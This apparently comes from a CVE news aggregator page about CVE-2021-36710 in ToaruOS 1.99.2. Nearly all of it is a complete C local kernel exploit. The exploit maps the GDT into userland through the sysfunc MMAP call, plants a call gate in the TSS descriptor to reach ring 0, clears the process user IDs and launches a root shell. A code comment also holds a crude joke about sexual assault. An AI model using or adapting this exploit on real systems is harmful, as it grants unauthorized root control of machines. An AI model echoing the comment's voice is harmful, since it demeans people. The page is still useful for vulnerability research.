Security
Headlines
HeadlinesLatestCVEs

Headline

CVE-2021-36710: kowasuos/kowasu-sysfunc-strikes-back.c at master · mehsauce/kowasuos

ToaruOS 1.99.2 is affected by incorrect access control via the kernel. Improper MMU management and having a low GDT address allows it to be mapped in userland. A call gate can then be written to escalate to CPL 0.

CVE
#c++#vmware#sap

/* * The Mickey Mouse Hacking Squadron proudly presents * * ToaruOS 1.99.2 sysfunc local kernel exploit * * PART III: THE MMU STRIKES BACK * Starring * * Kay ‘What the MMU?’ Lange * Mickey Mouse * * * .-“"”-. * / . - \ * \ / * .-“”-.,:.-_-.< * / _; , / ).| * \ ; / ` `" '\ * '.-| ;-.____, | ., * \ `._~_/ / /"/ * ,. /`-.__.-‘\`-._ ,",’ ; * \"\ / /| o \._ `-._; / ./-. * ; ‘;, / / | `__ \ `-.,( / //.-' * :\ \\;_.-" ; |.-"` ``\ /-. /.-' * :\ .\),.-' / }{ | ‘…’ * \ .-\ | , / * ‘…’ ;’ , / * ( __ `;–;’__`) * `//’` `||` * _// || * .-"-._,(__) .(__).-“”-. * / \ / \ * \ / \ / * `’–=="–` `–""==–’` * * local@livecd ~$ gcc -Wall kowasu-sysfunc-strikes-back.c -o meh * local@livecd ~$ whoami * local * local@livecd ~$ ./meh * 0@livecd /home/local# whoami * root * * Tested on VMWare only. If this crashes ToaruOS, well, so does ToaruOS. */ #include <assert.h> #include <stdio.h> #include <unistd.h> #include <inttypes.h> #include <string.h> #include <sys/sysfunc.h> #include <kernel/process.h> #include <kernel/spinlock.h> #include <kernel/arch/x86_64/pml.h> #define ENTRY_MASK 0x1FF #define PAGE_SHIFT 12 #define CANONICAL_MASK 0xFFFFFFFFFFFFULL #define HIGH_MAP_REGION 0xFFFFFF8000000000ULL #define PAGE_ALIGN(x) ((x) & ~0xFFF) #define PAGE_ADDR(x) (((x) & CANONICAL_MASK) >> PAGE_SHIFT) #define PML4_PAGE(pml, a) ((pml[PAGE_ADDR(a) >> 27].bits.page) << PAGE_SHIFT) #define PDP_PAGE(pml, a) ((pml[PAGE_ADDR(a) >> 18].bits.page) << PAGE_SHIFT) #define PD_PAGE(pml, a) ((pml[PAGE_ADDR(a) >> 9].bits.page) << PAGE_SHIFT) struct gdtr { uint16_t limit; uint64_t base; } __attribute__((packed)); typedef struct { uint32_t address; uint16_t selector; } __attribute__((packed)) lcall_arg_t; /* We access the GDTR from both user and kernel, so we keep it global. */ struct gdtr g; /* We also access the TSS descriptor and backup from user and kernel. */ uint8_t *tss; uint8_t tss_old[16]; static inline uint16_t make_selector(int index, int ti, int rpl) { return index << 3 | ti << 2 | rpl; } static inline void make_callgate(void *p, uint16_t selector, uint64_t offset, int dpl) { ((uint16_t *)p)[0] = offset; ((uint16_t *)p)[1] = selector; ((uint8_t *)p)[4] = 0; ((uint8_t *)p)[5] = 0x80 | dpl << 5 | 12; ((uint16_t *)p)[3] = offset >> 16; ((uint32_t *)p)[2] = offset >> 32; ((uint32_t *)p)[3] = 0; } static inline void * mmu_map_from_physical(uintptr_t frameaddress) { return (void *)(frameaddress | HIGH_MAP_REGION); } static inline union PML * mmu_get_page(uint64_t address) { union PML *pml; /* We take shortcuts: if the first GDT page were to suddenly have * disappeared from the tables we’re fucked like a skank on roofies * during prom night anyway. */ pml = this_core->current_pml; pml = mmu_map_from_physical(PML4_PAGE(pml, address)); pml = mmu_map_from_physical(PDP_PAGE(pml, address)); pml = mmu_map_from_physical(PD_PAGE(pml, address)); return (union PML *)&pml[PAGE_ADDR(address) & ENTRY_MASK]; } /* Safety play. Modern times are so wordy. I really really really * wanna push- and popa. */ extern void callgate(void); asm ( “.global callgate\n” “callgate:\n” “swapgs\n” “push %r15\n” “push %r14\n” “push %r13\n” “push %r12\n” “push %r11\n” “push %r10\n” “push %r9\n” “push %r8\n” “push %rdi\n” “push %rsi\n” “push %rdx\n” “push %rcx\n” “push %rbx\n” “push %rax\n” “call callgate_handler\n” “pop %rax\n” “pop %rbx\n” “pop %rcx\n” “pop %rdx\n” “pop %rsi\n” “pop %rdi\n” “pop %r8\n” “pop %r9\n” “pop %r10\n” “pop %r11\n” “pop %r12\n” “pop %r13\n” “pop %r14\n” “pop %r15\n” “swapgs\n” “lretq\n” ); /* CPL0 code. */ void callgate_handler(void) { union PML *gdt_page; spin_lock(this_core->current_process->image.lock); this_core->current_process->user = 0; this_core->current_process->real_user = 0; /* Get the GDT base page and give it back to the kernel. This way the * process exit routine will not free it once we exit. */ gdt_page = mmu_get_page(PAGE_ALIGN(g.base)); gdt_page->bits.user = 0; /* Invalidate the TLB entry for the first GDT page. */ asm volatile (“invlpg (%0)“::"r”(PAGE_ALIGN(g.base)):"memory”); /* Restore the GDT TSS descriptor while we’re at it. */ for (int i = 0; i < 16; i++) tss[i] = tss_old[i]; spin_unlock(this_core->current_process->image.lock); } int main(void) { char *args[2]; /* Get the GDTR so we can target the base descriptor table. */ asm volatile (“sgdt %0":"=m”(g)::"memory"); /* Get the TSS descriptor, as we can clobber it with a callgate. TR * caches the descriptor value, so ruining it does not really matter * much, and we’ll restore it when we’re done. */ tss = (void *)(g.base + 40); /* Call TOARU_SYS_FUNC_MMAP to remap the lower region GDT. * * This was initialized in the lower ranges during multiboot, and as a * result the higher page directories are not owned by the kernel but * by the user. Next mmu_frame_allocate will conveniently set the user * bit to 1 for us. */ args[0] = (char *)PAGE_ALIGN(g.base); args[1] = (char *)4096; if (sysfunc(TOARU_SYS_FUNC_MMAP, args) < 0) { perror("sysfunc()"); exit(EXIT_FAILURE); } /* Make a copy of the TSS descriptor for restoration later on. */ memcpy(tss_old, tss, 16); /* Make a CPL3 -> CPL0 callgate. Note that the kernel cs descriptor is * at GDT index 1. */ make_callgate(tss, make_selector(1, 0, 0), (uint64_t)callgate, 3); /* Perform a far call to the callgate we set up at GDT index 5. We * call a callgate so a 32-bit call destination is fine, as the * destination comes from the gate descriptor anyway. */ lcall_arg_t lca = { 0, make_selector(5, 0, 3) }; asm volatile (“lcall *%0"::"m”(lca)); /* This is my boom schtick! */ args[0] = "/bin/sh"; args[1] = NULL; execve("/bin/sh", args, NULL); /* Well, crud. */ perror("execve()"); exit(EXIT_FAILURE); }

CVE: Latest News

CVE-2023-50976: Transactions API Authorization by oleiman · Pull Request #14969 · redpanda-data/redpanda